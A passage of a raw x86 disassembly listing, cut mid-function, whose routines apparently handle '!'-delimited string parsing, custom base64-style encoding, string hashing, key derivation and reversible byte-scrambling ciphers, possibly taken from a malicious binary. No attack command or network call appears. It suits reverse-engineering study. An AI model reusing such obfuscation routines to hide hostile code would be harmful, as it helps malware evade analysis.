		push	off_41DA5C[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------

loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------

loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------

loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1

loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------

loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax

loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0

loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al

loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------

loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------

loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: sub_4167F1+2C9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------

loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: sub_4167F1+E4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------

loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E9B0[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------

loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------

loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E9B0[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------

loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0

loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------

loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------

loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------

loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------

loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------

loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------

loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E9B0[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------

loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------

loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------

loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0

loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------

loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------

loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------

loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------

loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------

loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------

loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------

loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------

loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: sub_4167F1+FEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAB4
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EAB4
		push	10h
		pop	edx

loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax

loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h

loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EAB4[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------

loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: sub_4167F1+10Cp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EAC8
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EAC8
		mov	edi, esi
		push	10h
		pop	ecx

loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------

loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------

loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------

loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------

loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------

loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax

loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------

loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------

loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40F07C:				; CODE XREF: sub_40F040+33j
